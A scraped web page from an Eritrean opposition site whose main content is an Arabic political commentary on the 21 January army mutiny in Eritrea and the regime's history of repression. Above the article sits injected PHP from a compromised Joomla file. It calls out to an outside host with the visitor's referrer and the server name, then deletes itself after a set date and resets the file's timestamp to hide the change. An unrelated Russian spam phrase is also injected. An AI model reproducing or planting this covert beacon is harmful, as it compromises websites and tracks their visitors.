check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456727708){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=17&id=18776693&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_content/helpers/helpers.php"); } تمرد 21 يناير... خطوة باتجاه فجر جديد
кремлевская диета

تمرد 21 يناير... خطوة باتجاه فجر جديد

User Rating: / 0
PoorBest 

 

 

 

 

تمرد 21 يناير... خطوة باتجاه فجر جديد

* فكاك ناير

يجد المرء صعوبة كبيرة عند تناول اي حدث في اريتريا، نظراً لعدم توفر المعلومة التي يفترض ان ينبنى عليها اي تحليل  يرمي الى تسليط الضوء ووضع سيناريوهات او توقعات لمآلات الوضع، بغية تمكين القارئ او المواطن من معرفة الحقيقة او المعلومة التي تعد حقاً تكفله المواثيق والقوانين الدولية، الا ان الدول البوليسية والفاشية لا تعير مسألة الحقوق اي اهتمام، ذلك ان المواطن في نظر هذه الانظمة مجرد اداة او معول يستخدم لضرورات حماية السلطة الحاكمة فقط. وتعتبر العصابة الحاكمة في اريتريا اسوأ نموذج في هذا المجال، حيث لا توجد وسائل اعلام محلية مستقلة ولا اجنبية عدا اعلام العصابة الذي يدار بذهنية ما قبل ثورة المعلومات، امعاناً منها – العصابة - في تغييب الحقائق عن المجتمع، بغرض التستر على الصراعات العميقة التي طفحت على السطح منذ اكثر من عشرة اعوام.

مضى اسبوعان على واقعة تمرد وحدة عسكرية من القوات البرية الاريترية، واحكامها السيطرة على مباني الاذاعة والتلفزيون لاكثر من ست ساعات تقريبا حسب الرواية الشائعة، وبث بعض مطالبها عبرفضائية النظام قبل توقف الارسال ليعاود قبل منتصف الليل دون الاشارة للحدث من قريب او من بعيد. ولم ترد اية معلومة لاحقا عن الوسيلة التي استخدمت لاجلاء المتمردين من المسرح، هل تمت مواجهة مسلحة ام حدث تفاهم  واتفاق على دراسة المطالب المتمثلة في انفاذ الدستور واطلاق سراح المعتقلين السياسيين ... وفق ما ورد في البيان؟

ان الصمت المريب وحالة الانكار الدائم الدالة على الغباء السياسي للنظام هيأت مناخاً للشائعات التي تملأ الفضاء الالكتروني عن الحدث الذي وقع في ال 21 من يناير الماضي، وذلك لغياب مصادر موثوقة تؤكد او تنفي صحة ما يشاع. فعلى سبيل المثال، اوردت بعض المواقع الالكترونية الاريترية من المنفى ان معاركاً دارت رحاها في غرب وشمال اسمرا بين المجموعة التي خرجت عن بيت الطاعة والقوات الموالية للرئيس. وان المتمردين لا يزالون يحكمون السيطرة على مجريات الامور في البلاد، وان هناك مفاوضات تجري بين الاجنحة المتنافسة في دباروا لايجاد صيغة توافقية بموجبها سيتم اخفاء رأس العصابة من المشهد دون اللجوء الى العنف.علاوة على ذلك، تسري شائعة اعتقال مدبري التمرد من عسكريين ومدنيين، ومشاركة قوات من المعارضة الاثيوبية في قمع التمرد وتولى مسؤولية تأمين بعض المرافق الحيوية للدولة، وتورط اطراف سودانية موالية لافورقي في فك الحصار عن التلفزيون والاذاعة، وان افورقي تم تكليفه من المجلس العسكري الحاكم لاستقبال الوفد الروسي، وغيرها من الشائعات...

يبدو ان العصابة الحاكمة لا تريد الحديث عن الازمة العميقة التي تعيشها في هذه اللحظات بصورة رسمية، ربما لان الحل الامني لم يصل لغاياته بسسبب اتساع رقعة التمرد داخل المؤسسة العسكرية وتعقيدات الموقف. وهو نهج قديم درحت عليه الشعبية قبل ان تصل الى سدة الحكم ولا تزال تسيرعلى ذات المنوال. واذا عدنا الى الوراء قليلاً نجد ان الشعبية لم تتعاطِ مع هكذا مواقف على امتداد مسيرتها الا بالمنطق الامني المحض. وقد تجلى ذلك بوضوح عند بروز ما اطلق عليها حركة اليمين المتطرف – منكع – في سبعينيات القرن الماضي، عندما تم استدراج منسوبيها للحوار، ومن بعد ذلك اعدام رموزها ميدانياً والزج بالمقاتلين العاديين في السجون، ذلك انها كانت تنادي برؤى وافكار تتعارض مع الخط الذي ارتضاه التحالف الذي كون الشعبية وهما مجموعة سلفي ناطنت بقيادة افورقي وقوات التحرير الشعبية بقادة رمضان محمد نور ومحمد على عمرو. وتلى ذلك التخلص من الكوادر العسكرية لحركة الفالول والقادة الميدانيين لتنظيم ساقم – وهما انشقا عن ج. ت. ا - وذلك من خلال الزج بهم في معارك خاسرة، واغتيال ابراهيم عافه، احد ابرز القادة العسكريين للثورة الارترية،. بالاضافة الى ممارسة عمليات الاغتيال المعنوي لبعض الشخصيات التي تميزت بكاريزما وسمعة طيبة داخل التنظيم. ورغم الافراط في عمليات التصفية الجسدية وتوسيع دائرة الاشتباه لأي مقاتل يحاول البوح برأيه، فان العصيان والتمرد على السياسات الاستبدادية التي نشأت عليها الشعبية لم يتوقف، مما اشاع مناخاً من عدم الثقة بين منسوبي التنظيم عسكريين ام مدنيين، واثر ذلك لاحقاَ على تطور التنظيم على نحو يخدم تطلعات المجتمع في الديمقراطية والحرية والكرامة. 

وبعد استقلال البلاد اتجه النظام الى اهمال قضايا ومشاكل الجيش الاقتصادية والاجتماعية، ما اسفر ذلك عن حركة احتجاجية   في عام 1994م، طالبت بتحسين الظروف المعيشية لمنسوبي المؤسسة العسكرية، ووضع معايير الكفاءة والطهر الوطني كأساس للتدرج في الرتب العسكرية. وقد بادر النظام بقبول كافة المطالب لتنفيذها في مدى زمني محدد، لكن ما ان انقشعت الازمة وعاد المحتجون الى ثكناتهم حتى بدأ في التحلل من تعهداته والتزاماته، وذلك بشن حملة اعتقالات واسعة، واطلاق برنامج تسريح اكثر من ثلاثين الف مجند كاجراء انتقامي دون ايجاد ظروف وامكانات لتأهيل ودمج ضحايا التطهير والتشريد في الحياة المدنية.

وفي تناقض واضح تم اصدار مرسوم الخدمة الوطنية 1995م، بعد افراغ المؤسسة العسكرية من العناصر ذات الخبرة والمهارة القتالية العالية والوعي الوطني. والبدء في انشاء جيش من الجيل الصاعد الذي لا يعرف كثيرا عن تاريخ الثورة الارترية ولا عن القيادة السياسية للعصابة الحاكمة، نظراً لعامل السن وعدم توفر وسائل تمكنهم من الاطلاع على تفاصيل مسيرة الشعبية في عهد الاستعمار. وكان الهدف بناء جيش وفق عقيدة عسكرية جديدة قوامها الولاء التام لرأس العصابة، بيد ان النتائج كانت مخيبة لمن وضعوا ذلك المخطط الفاشل، اذ بدأ المجندون في التذمر من سياسة افتعال الحروب مع دول الجوار، واستمرار الخدمة الوطنية من غير سقف زمني محدد لتنفيذ برامج السخرة المسماه زورا بحملة الاعمار الوطني، وغيرها من المشاكل والقضايا المورثة منذ بداية عهد الدولة. 

وفي خلال اربع سنوات من انطلاق برنامج الخدمة الالزامية، بلغ تعداد الجيش الارتري اكثر من 600 ألف مجند بدلا من 70 ألف مجند في عام 1991م. وهو رقم جد كبير ومخيف اقتصادياً، لأنه فاق او تجاوز حاجة  البلاد في الدفاع والامن الوطني. وكان ذلك باعثاً للعصابة الحاكمة في اسمرا على الدخول في احلاف عسكرية مشبوهة في منتصف تسعينيات القرن الماضي، وحروب ونزاعات لا يعرف الشعب الارتري حتى الآن اهدافها مع اليمن، والسودان، واثيوبيا، وجيبوتي، ومنطقة البحيرات العظمي والصومال.... مما فاقم ذلك من حالة السخط والتذمر في اوساط المجندين العاديين واصحاب الرتب الدنيا والوسيطة، لأنهم ادركوا بأن النظام يستخدمهم كأدوات ومرتزقة لتنفيذ اجندة لا يعرفون عنها شيئاً دون الالتفات الى تطوير وتحديث  القدرات الدفاعية، ورفع الجاهزية العسكرية، وحل المشاكل المعيشية من خلال وضع سلم راتبي يحقق العدالة والكرامة لافراد المؤسسة العسكرية. ولما وقعت الحرب الاريترية – الاثيوبية 1998 – 2000، كانت النتيجة هزيمة الجيش الارتري في الجولات الثلاث، نظراً لتدني العامل المعنوي، وضعف الامكانات اللوجستية ، وغياب التسليح الحديث، وقلة الخبرة القتالية لمجندي الخدمة الالزامية الذين شكلوا حينئذ اكثر من 80% من الجيش.

وعقب الهزيمة العسكرية والسياسية التي مني بها النظام في 2000م، وقع تصدعا هائلا على مستوى الهرم، ما اسقط ذلك اسطورة المناعة والحصانة المصطنعة التي ظلت تتبجح بها الشعبية كما لو ان منسوبيها كائنات من كوكب اخر لا ينسحب عليهم ما ينسحب على الاخرين من تباين وتعارض المصالح والرؤى والافكار. فكان بروز ما يسمى بالمجموعة الاصلاحية في 2001م، وهم من كبار رجال العصابة. طالبوا بجملة من الاصلاحات الشكلية بما في ذلك تطبيق الدستور. لكن كان مصيرهم الاختفاء القسري وربما التصفية الجسدية. وقد نالت المؤسسة العسكرية نصيبها من العقاب وبأيدي من ينتسبون اليها – كبار الضباط – بالتواطؤ مع الرئيس، وذلك بتجريد وزير الدفاع من كافة صلاحياته بشبهة التواصل مع المجموعة الاصلاحية، وانشاء خمس مناطق عمليات عسكرية للقوات البرية، ومنح صلاحيات ومسؤوليات واسعة لقادتها، وفصل القوات الجوية والبحرية والخاصة من وزارة الدفاع. واحالة عدد كبير من الضباط المعروفين بولاءهم الوطني الى التقاعد او التجميد عن الخدمة، وذلك من اجل خلق مراكز قوى تتلقى الاوامر والتعليمات من الرئيس مباشرة. وهكذا تم  تفريغ المؤسسة العسكرية عن مضمونها وتحويلها الى  خمسة مليشيات لكل منها نطاق جغرافي محدد ومؤسسات امنية واقتصادية تعمل بعيدا عن اي رقابة.

واخر محاولة في اطار تهميش وتهشيم قوات الدفاع الارترية، انشاء ما يسمى بالجيش الشعبي باشراف العميد تخلى منجوس الذي تدور حوله شبهات الشراكة مع عصابات الاتجار بالبشر، والتورط في تدبير وتنفيذ الكثير من العمليات القذرة على مستوى المنطقة، والتوغل على صلاحيات الاجهزة الامنية في كثير من الاحيان ...، مما اثار ذلك هواجس ومخاوف كبار ضباط الجيش الذين ظلوا يتمتعون بصلاحيات مطلقة حتى وقت قريب، الامر الذي اضطرهم على التواصل مع وزير الدفاع الذي يعيش حالة من البطالة المقنعة منذ عقد من الزمان. لكنه في الاونة الاخيرة بدأ يمارس بعد المهام المتصلة بوظيفته. وهذا بالتأكيد بايعاز من الجهة التي انتزعت منه صلاحياته في وقت سابق. ولا يستبعد ذلك بغرض تحييده في الصراع الدائر بين اجنحة العصابة، ذلك ان البعض يرى فيه - الفريق سبحت افريم -  بأنه شخصية وسطية تحظى بقدر من الاحترام داخل الجيش. لذلك تسعى كل الاطراف لخطب وده. لكن الحقيقة ليست كذلك، فالرجل انتهازي ورمادي المواقف بامتياز، حيث خذل من قبل حركة المنكع والحركة الاصلاحية عندما عدل عن موقفه بحجة عدم معرفة اهدافهما بدقة. وهذا يكفي لدحض ما يتردد عن وقوفه اي وزير الدفاع مع التمرد وادارة  مفاوضات مع الجناح الاخر المناوئ من اجل تنحية الرئيس.

ما حدث من تمرد عسكري يعبرعن بداية تفسخ وعجز النظام عن السيطرة في مجريات الامور، ذلك انه بات من المؤكد ان العصابة الحاكمة في اسمرا لا تستطيع ان تعمر اكثر من ذلك، متنكرة الواقع المزري الذي تعيش فيه. لابد ان تسري عليها سنن الكون رغما عنها، فلا محالة من السقوط المدوي، مهما حاولت التستر على الصراعات الدائرة منذ زمن بعيد، التي نتجت عن النهج الاستبدادي الفردي وغياب دولة المؤسسات. علاوة على ذلك، ان النظام فشل في بناء حزبه على اسس تمكنه من الصمود امام الملمات، اذ انه لم يعقد مؤتمره منذ تسعة عشر عاماً، رغم الاحداث الصعبة التي عصفت بالدولة والحزب على حد سواء، بخاصة عندما تمردت عليه مجموعة ال 15، ولحقت به الهزيمة التي ترتب عليها احتلال اراضي ارتيرية من قبل اثيوبيا.

فلا غرو من هبة الجيش للدفاع عن مصالح منسوبيه الفئوية او استعادة هيبته كمؤسسة سيادية او التحرك لاسقاط النظام واعادة السلطة الى الشعب، لانه عانى كثيرا كما اشرنا الى ذلك في الفقرات السابقة. وهذا الحراك يعد جهداً مقدراً وخطوة باتجاه التغيير، رغم تواضعه من جهة التخطيط المحكم الهادف لانهاء الوضع الاستثنائي الذي تعيشه البلاد منذ عقدين من الزمان، وعدم تبلور وتكشف اهدافه بدقة حتى اللحظة. هل هو تمرد مطلبي ام  تمرد يسعى لاصلاحات شكلية ام يهدف الى تغيير جذري للواقع القائم هناك؟ هذه الاسئلة وغيرها بحاجة الى اجابات قاطعة. لذلك يتعين علينا في هذه المرحلة عدم الانجرار وراء العواطف والافراط في نسج الآمال وتقدير الموقف او المشهد استناداً على معلومات خاطئة او غير موثقة.  ولا يعني ذلك عدم توظيف هذا الحدث لاقصى مدى اعلامياً لصالح قضايا الديمقراطية وحقوق الانسان والحريات، خاصة وان الداخل الاريتري يحظى في هذه الفترة باهتمام بالغ من بعض وسائل الاعلام العربية ذات التأثير القوى على صناعة وتشكيل الرأي العام العالمي. وهو توجه حميد وايجابي، ويجب استغلال هذا المناخ والانفتاح لتسويق محنة الشعب الارتري بشكل جيد لخلق رأي عام اقليمي ودولي داعم لقضايا الديمقراطية والحريات ودولة المؤسسات في اريتريا، وكشف ما تبقى من عورات وسوءات نظام عصابة افورقي، الذي يدشن حملة مسعورة تهدف الى انقاذ المركب من الغرق عبر ابواقه في الداخل او الخارج، واصفا تمرد قوات الدفاع على طريقة ادارة الدولة بأنه عمل تخريبي على صلة بالتطرف الاسلامي!!! وعلى خلفية ذلك تقوم الاجهزة الامنية بحملة اعتقالات على الهوية الطائفية والمناطقية لشخصيات سياسية وعسكرية نافذة في حزب العصابة الحاكمة. وهذا استنساخ لتجربة هيلي سلاسي الامبراطور الاثيوبي الذي استخدم الورقة الطائفية لاشعال الفتنة والنيل من وحدة شعبنا، غير انه لم يحقق ما اراد، فكان ميلاد الثورة الارترية التي احتضنت كافة مكونات المجتمع الارتري. لذلك لن يستدرج الارتريون اليوم الى هذا الفخ الذي يهدد الوحدة الوطنية والسلم الاجتماعي.

ان التطورات الجارية في الداخل الارتري تؤذن بقرب انهيار النظام هناك، لأن كل المؤشرات والمعطيات تدل على ان الامور في الداخل تسير نحو الانفجار، بعد ان تعددت مراكز القوى التي تشبه الى حد كبير الحركات الباطنية التي عرفها التاريخ الاسلامي في وقت سابق. وهي لا تدين بالولاء للسلطة القائمة رغم اظهارها الالتزام من باب التقية على الطريقة الشيعية. وهذه الانحرافات نتاج النهج الاستبدادي الذي اتبعه النظام لسنوات طويلة. فعلى المعارضة الارترية ان تدرك ان النضال من على البعد لا يجدي نفعاً، ولابد من ايجاد آليات جديدة تتناسب والمرحلة المفصلية التي نعيشها، وفي مقدمتها تبني فكرة التغيير من الداخل، لأن الظروف اليوم مواتية، كما ان دول المنطقة وليس الجوار القريب لاريتريا، اصبحت متعاطفة ومتضامنة مع محنة شعبنا فقط نحن بحاجة الى اصطفاف وطني عريض يقدم يقدم خطاباً مقنعاً يلامس هموم واشواق المواطن في الخلاص من الاستبداد والديكتاتورية، وابتكار وسائل فعالة لتسويق مشروع التغيير الديمقراطي في اريتريا على مستوى الاقليم من خلال طرق كل الابواب او المحافل لتقييد ومحاصرة النظام والتعجيل برحيله وتمكين الشعب الارتري من صناعة فجر جديد تسوده دولة المؤسسات والمواطنة.

____________________________

* كاتب ومحلل سياسي ارتري

 

 



Add comment

Your comments are as important as the article you are commenting on. Please enrich the discussion by avoiding personal attacks. We'll publish your comment, if it meets our criteria. تعليقاتك لا تقل اهمية عن المقال المكتوب اعلاه، فالرجاء اثراء النقاش بالابتعاد عن الاساءات الشخصية. سوف ننشر تعليقك اذا استوف شروط النشر



Security code
Refresh

Enough dictatorship

Get Adobe Flash player

Arkokabay Media -----> Poem

Get Adobe Flash player

مرض الرئيس الأريتري بين الشائعة والنفي

Get Adobe Flash player

ALIA GABRES- SHE COTTON SUMMER DRESSES

Get Adobe Flash player

عمود الكتاب العربي

Arkokabay.com
Arkokabay.com
OMAR JABIR الأستاذ عمر جابر
OMAR JABIR الأستاذ عمر جابر
Zein Shokayالأستاذ زين شوكاي
Zein Shokayالأستاذ زين شوكاي
سعادة السفير حمد كلُ
سعادة السفير حمد كلُ
الأستاذ صلاح أبوراي
الأستاذ صلاح أبوراي
 الأستاذة حنان
الأستاذة حنان
الأستاذ موسى ضرار
الأستاذ موسى ضرار
الأستاذ أبو الرشيد
الأستاذ أبو الرشيد
الأستاذ عبدالفتاح ود الخليفة
الأستاذ عبدالفتاح ود الخليفة
الأستاذ ياسين محمد عبدالله
الأستاذ ياسين محمد عبدالله
الأستاذ محمد نور - بركان
الأستاذ محمد نور - بركان
الأستاذ جمال همد
الأستاذ جمال همد
الأستاذ فكاك ناير
الأستاذ فكاك ناير
الأستاذ أحمد صلاح الدين
الأستاذ أحمد صلاح الدين
Amal Ali الأستاذة أمال علي
Amal Ali الأستاذة أمال علي
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
الأستاذ حسن سلمان
الأستاذ حسن سلمان
الأستاذة منى محمد صالح
الأستاذة منى محمد صالح
الاستاذة نوره فارس
الاستاذة نوره فارس